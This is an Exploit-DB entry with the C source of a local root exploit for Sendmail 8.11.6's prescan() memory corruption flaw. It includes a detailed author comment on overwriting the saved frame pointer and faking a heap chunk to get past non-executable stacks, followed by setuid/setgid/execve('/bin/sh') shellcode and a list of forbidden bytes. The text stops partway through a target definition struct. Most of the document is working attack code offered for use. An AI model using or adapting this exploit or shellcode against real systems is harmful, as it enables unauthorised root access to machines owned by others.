Exploit-DB #22442
Description: Sendmail 8.11.6 - Address Prescan Memory Corruption
Type: local
Platform: unix
Date: 2003-03-29
Author: sorbo

Exploit:
/* 
source: https://www.securityfocus.com/bid/7230/info

A vulnerability in Sendmail may be exploited remotely to execute arbitrary code. The flaw is present in the 'prescan()' procedure, which is used for processing email addresses in SMTP headers. This condition has been confirmed to be exploitable by remote attackers to execute instructions on target systems. This vulnerability stems from a logic error in the conversion of a char to an integer value. The issue has been fixed Sendmail 8.12.9. 
*/

/*
 * local exploit for sendmail 8.11.6 
 * by sorbo (sorbox@yahoo.com)
 * http://www.darkircop.org
 *
 * This exploit takes advantage of the vulnerable prescan() function that 
 * allows the user to input 0xff in order to skip the length check of the buffer.
 *
 * The vulnerability was found by Michal Zalewski
 *
 * The goal is to overwrite the 2 lsb of the saved frame pointer and make it 
 * point to an area we control.
 *
 * We can overflow pvpbuf[] in parseaddr() (which calls prescan()) and overwrite 
 * parseaddr's saved frame pointer. 
 * When parseaddr() returns, the control is back to sendtolist() but the frame pointer
 * will be modified (we make it point to somewhere in pvpbuf).
 * We can't just fill pvpbuf with the ret value we want, since sendtolist() doesn't
 * exit right away, but instead makes use of some variables.
 * We need therefore to construct pvpbuf in an intelligent way, so references to variables
 * will be valid.
 * The first variable to set is delimptr (located at ebp - something). 
 * We simply make this point to a 0, so the for loop exits.
 * The next variable to set is al (located at ebp - something ). We need to make a->q_next 
 * point to 0 so the while loop exits. a->q_next is a+11*4.
 * The next variable is e (ebp + something). We make it point to a 0
 * The next variable is bufp (ebp - something). This needs to be equal to buf to skip the free.
 * This cannot be done since the address contains a 0xff and this cannot be input in pvpbuf.
 * We just make it point to a valid chunk (in our case... our fake chunk). We can't make it point
 * to stack since arena_for_ptr() will fail. Luckily our arguments get copied on the heap, so we 
 * just point it to that.
 * Next we just set the ret (ebp + 4) to our shellcode and when sendtolist() exits our
 * shellcode will be executed. Note shellcode is even copied on heap, so non executable stacks will not
 * stop the exploit (the ret addr must match the shellcode location on the heap though)
 *
 * Note that if we overflow ebp by only one byte (putting a 0) i.e. the classical way
 * will not work since the register will not point to pvpbuf. What we do is overwrite two
 * bytes with 0x005c. Then we fill up the stack (by passing a long argument) so we lower the 
 * address of pvpbuf untill it is in the range of the ebp. Also our shellcode will be at a low
 * stack address < 0xbffefefe (since we cannot write 0xff in pvpbuf).
 *
 * NOTE: sendmail 8.12.8 cannot be exploited this way since there is an assert() which cannot
 * be bypassed (in sendtolist()).
 *
 * have fun
 *
 * Greetz: Knight420, Stefano Biondi, nevez
 *
 */


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/wait.h>
              

char shellcode[] =
	/* NOPs (so we don't have to be exact in shellcode addr calculation) */
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

        /* setuid(0); */
        "\x31\xdb"                              /* xor %ebx,%ebx */
        "\x89\xd8"                              /* mov %ebx,%eax */
        "\xb0\x17"                              /* mov $0x17,%al */
        "\xcd\x80"                              /* int $0x80     */

        /* setgid(0); */
        "\x31\xdb"                              /* xor %ebx,%ebx */
        "\x89\xd8"                              /* mov %ebx,%eax */
        "\xb0\x2e"                              /* mov $0x2e,%al */
        "\xcd\x80"                              /* int $0x80     */

        /* /bin/sh execve(); */
        "\x31\xc0"                              /* xor  %eax,%eax   */
        "\x50"                                  /* push %eax        */
        "\x68\x2f\x2f\x73\x68"                  /* push $0x68732f2f */
        "\x68\x2f\x62\x69\x6e"                  /* push $0x6e69622f */
        "\x89\xe3"                              /* mov  %esp,%ebx   */
        "\x50"                                  /* push %eax        */
        "\x53"                                  /* push %ebx        */
        "\x89\xe1"                              /* mov  %esp,%ecx   */
        "\x31\xd2"                              /* xor  %edx,%edx   */
        "\xb0\x0b"                              /* mov  $0xb,%al    */
        "\xcd\x80"                              /* int  $0x80       */

        /* exit(0); */
        "\x31\xdb"                              /* xor %ebx,%ebx */
        "\x89\xd8"                              /* mov %ebx,%eax */
        "\xb0\x01"                              /* mov $0x01,%al */
        "\xcd\x80";                             /* int $0x80     */




/* NOTE: not all characters are passable:
 *	0x00 (duh), 0xff, 0x09-0x0d, 0x20-0x22, 0x25, 0x28, 0x29, 0x2b, 0x2c
 *	0x2e,0x2f,0x3a-0x3c,0x3e,0x40,0x5b,0x5d,0x5e,0x80-0x9f 
 *
 * the REAL variables are only pvpbuf and chunk... so don't get scared by all these
 * required variables. Most of them are fixed =D.
 */
struct target_info {
	char *description;	/* target description */
	char *sendmail;		/* sendmail path */
	int stack_len;		/* how much stuff to put in stack */
	int distance;		/* distance in bytes from pvpbuf to last 2 bytes of saved framepoint